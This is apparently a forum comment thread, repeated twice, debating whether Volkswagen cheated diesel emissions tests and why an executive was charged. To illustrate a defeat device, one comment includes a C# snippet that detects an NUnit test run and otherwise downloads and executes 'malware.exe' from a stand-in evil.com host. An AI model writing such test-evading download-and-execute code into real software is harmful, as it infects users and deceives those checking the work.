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I don't get this. VW (and other car manufacturers) did NOT cheat. Their cars have (AFAIK) passed all the emission tests required. Do they produce more emissio

by zde 10y ago

I don't get this. VW (and other car manufacturers) did NOT cheat. Their cars have (AFAIK) passed all the emission tests required. Do they produce more emissions outside the test envelope? You cry on wrong grave then...

snsr 10y ago
VW did cheat, the cars produce more emissions when not being tested, and it looks like their executives lied about it. http://www.nytimes.com/interactive/2015/business/international/vw-diesel-emissions-scandal-explained.html http://www.nytimes.com/interactive/2015/business/internation...
- zde 10y ago
  And when no one is watching we are invisible!
  - ionised 10y ago
    Do you work for VW by any chance?
ddeck 10y ago
Cars aren't only required to pass emissions tests, they're required to have their emissions within the specified limits at all times. The purpose of the tests is to ensure compliance.
- zde 10y ago
  /sarc?
- londons_explore 10y ago
  This is not the case. If it were the case, the regulations would say "No more than X NOX emitted per mile, even when climbing Mount Everest, even when 5 years old, even when poorly maintained, and even when used with low quality fuel, and in all other conditions anyone might put them in." That clearly isn't reasonable, so instead the rules are written to say "They must pass XYZ tests". As long as those tests are passed, they meet the standard. IMO, the main culprit here is the lawmakers for not correctly designing the rules and test procedures to be sufficiently realistic. Specifically, they shouldn't allow the CO2 test and NOX tests to be done in different conditions. They should instead say "your car will be assigned to one member of EPA staff every day for a month. They will drive their regular daily journeys with it, and all emissions recorded. If you aren't happy with the test results (for example due to a cold week), you may ask for a retest.".
  - freehunter 10y ago
    The problem with your reasoning is that these cars were designed to not meet the emissions requirements from the factory. From day one, they were only designed to meet the emissions standards during the testing, not on the road. They were purposefully designed to cheat on the test. Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case. Test performance varies from real-world performance by design. And then they lied about it. That's why they're being punished. I do agree that the test should be changed to take that inevitability out of the equation, but for this situation the reason they're being punished is because they designed their cars specifically to cheat on the existing test.
    - zde 10y ago
      > Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case. ..or due to engine temperature, speed, gear, gas pedal position and tons of other variables WHICH IS the case. That's why emission requirements are (and must be) test-specific.
      - freehunter 10y ago
        I'm sorry but you're wrong, and since I know you read my comment (you quoted it) it almost seems like you're deliberately wrong. Yes, testing varies from the real world based on a number of factors. Environmental, driving style, etc. And the current tests don't care about that, which is a completely separate problem. The problem that VW got in trouble for is specifically designing their cars to cheat on the existing test. Yes, cars behave differently if they're driven uphill vs downhill, if they're driven in the rain vs in the snow, if they're driven in the mountains or at sea level, but that doesn't matter at all. The test doesn't care, the law doesn't care. They're willing to accept that difference, as long as the car doesn't actively circumvent the purpose of the test. Which VW did. You can argue that the test is invalid, and I agree. But that doesn't matter. The test is the test and VW cheated it. They built their cars specifically to have a completely different performance in the test vs in the real world with the specific intent to cheat the test.
- usrusr 10y ago
  Not true. Emissions vary a lot depending on environmental factors and optimizing for the worst case scenario (which is what "within limits at all times" implies) would likely result terrible averages. Even within the test cycle, the engine can be as dirty as they like at any point in time, as long as the average stays within bounds. What they are not allowed to do is change the way the engine operates when under test vs on the road, and this is exactly what happened at Volkswagen. The VW case is not the first (ruling like this tends to be reactive, and slow...), but it might be the first were the response is firm enough to deter future would be offenders.
LeifCarrotson 10y ago
Passing tests is not sufficient to determine that they should not be charged with criminal behavior. For example, if you hired someone to write some code, and required that passed an NUnit test suite you provided, and they delivered: public double ComputeAverage(List<double> values) // If being tested, return the correct result if (AppDomain.CurrentDomain.GetAssemblies().Any((assembly)=>assembly.FullName.StartsWith("NUnit.Framework"))) { return values.average(); } // If not running in test suite, download malware and return wrong values else { Net.DownloadFile("http://www.evil.com/file", "malware.exe"); Process.Start("malware.exe"); return 42; } } ...would you feel satisfied with their work? No. You would be annoyed at them for violating the clear intent of the requirement, but let's imagine for a minute that you somehow couldn't convince a court that they failed to deliver, and evaded the contract. What happened here was that the attorney general asked "Hey, we see that you passed the test, but when we run it in other contexts, we see bad things happening - wrong results returned, and malware being downloaded. Did you make it do the wrong thing, and download malware?" And Oliver Schmidt, representing Volkswagen, answered "No." That's where the crime being discussed here occurred. The evasion of the of the law, rather than operating in good faith to have the product perform the same in the test as in normal operation, resulted in the fines that have been levied to the company. But lying to regulators is why Schmidt is being criminally charged.

by zde 10y ago

snsr 10y ago

VW did cheat, the cars produce more emissions when not being tested, and it looks like their executives lied about it. http://www.nytimes.com/interactive/2015/business/international/vw-diesel-emissions-scandal-explained.html http://www.nytimes.com/interactive/2015/business/internation...

zde 10y ago
And when no one is watching we are invisible!
- ionised 10y ago
  Do you work for VW by any chance?

ddeck 10y ago

Cars aren't only required to pass emissions tests, they're required to have their emissions within the specified limits at all times. The purpose of the tests is to ensure compliance.

zde 10y ago
/sarc?
londons_explore 10y ago
This is not the case. If it were the case, the regulations would say "No more than X NOX emitted per mile, even when climbing Mount Everest, even when 5 years old, even when poorly maintained, and even when used with low quality fuel, and in all other conditions anyone might put them in." That clearly isn't reasonable, so instead the rules are written to say "They must pass XYZ tests". As long as those tests are passed, they meet the standard. IMO, the main culprit here is the lawmakers for not correctly designing the rules and test procedures to be sufficiently realistic. Specifically, they shouldn't allow the CO2 test and NOX tests to be done in different conditions. They should instead say "your car will be assigned to one member of EPA staff every day for a month. They will drive their regular daily journeys with it, and all emissions recorded. If you aren't happy with the test results (for example due to a cold week), you may ask for a retest.".
- freehunter 10y ago
  The problem with your reasoning is that these cars were designed to not meet the emissions requirements from the factory. From day one, they were only designed to meet the emissions standards during the testing, not on the road. They were purposefully designed to cheat on the test. Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case. Test performance varies from real-world performance by design. And then they lied about it. That's why they're being punished. I do agree that the test should be changed to take that inevitability out of the equation, but for this situation the reason they're being punished is because they designed their cars specifically to cheat on the existing test.
  - zde 10y ago
    > Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case. ..or due to engine temperature, speed, gear, gas pedal position and tons of other variables WHICH IS the case. That's why emission requirements are (and must be) test-specific.
    - freehunter 10y ago
      I'm sorry but you're wrong, and since I know you read my comment (you quoted it) it almost seems like you're deliberately wrong. Yes, testing varies from the real world based on a number of factors. Environmental, driving style, etc. And the current tests don't care about that, which is a completely separate problem. The problem that VW got in trouble for is specifically designing their cars to cheat on the existing test. Yes, cars behave differently if they're driven uphill vs downhill, if they're driven in the rain vs in the snow, if they're driven in the mountains or at sea level, but that doesn't matter at all. The test doesn't care, the law doesn't care. They're willing to accept that difference, as long as the car doesn't actively circumvent the purpose of the test. Which VW did. You can argue that the test is invalid, and I agree. But that doesn't matter. The test is the test and VW cheated it. They built their cars specifically to have a completely different performance in the test vs in the real world with the specific intent to cheat the test.
usrusr 10y ago
Not true. Emissions vary a lot depending on environmental factors and optimizing for the worst case scenario (which is what "within limits at all times" implies) would likely result terrible averages. Even within the test cycle, the engine can be as dirty as they like at any point in time, as long as the average stays within bounds. What they are not allowed to do is change the way the engine operates when under test vs on the road, and this is exactly what happened at Volkswagen. The VW case is not the first (ruling like this tends to be reactive, and slow...), but it might be the first were the response is firm enough to deter future would be offenders.

LeifCarrotson 10y ago

Passing tests is not sufficient to determine that they should not be charged with criminal behavior. For example, if you hired someone to write some code, and required that passed an NUnit test suite you provided, and they delivered: public double ComputeAverage(List<double> values) // If being tested, return the correct result if (AppDomain.CurrentDomain.GetAssemblies().Any((assembly)=>assembly.FullName.StartsWith("NUnit.Framework"))) { return values.average(); } // If not running in test suite, download malware and return wrong values else { Net.DownloadFile("http://www.evil.com/file", "malware.exe"); Process.Start("malware.exe"); return 42; } } ...would you feel satisfied with their work? No. You would be annoyed at them for violating the clear intent of the requirement, but let's imagine for a minute that you somehow couldn't convince a court that they failed to deliver, and evaded the contract. What happened here was that the attorney general asked "Hey, we see that you passed the test, but when we run it in other contexts, we see bad things happening - wrong results returned, and malware being downloaded. Did you make it do the wrong thing, and download malware?" And Oliver Schmidt, representing Volkswagen, answered "No." That's where the crime being discussed here occurred. The evasion of the of the law, rather than operating in good faith to have the product perform the same in the test as in normal operation, resulted in the fines that have been levied to the company. But lying to regulators is why Schmidt is being criminally charged.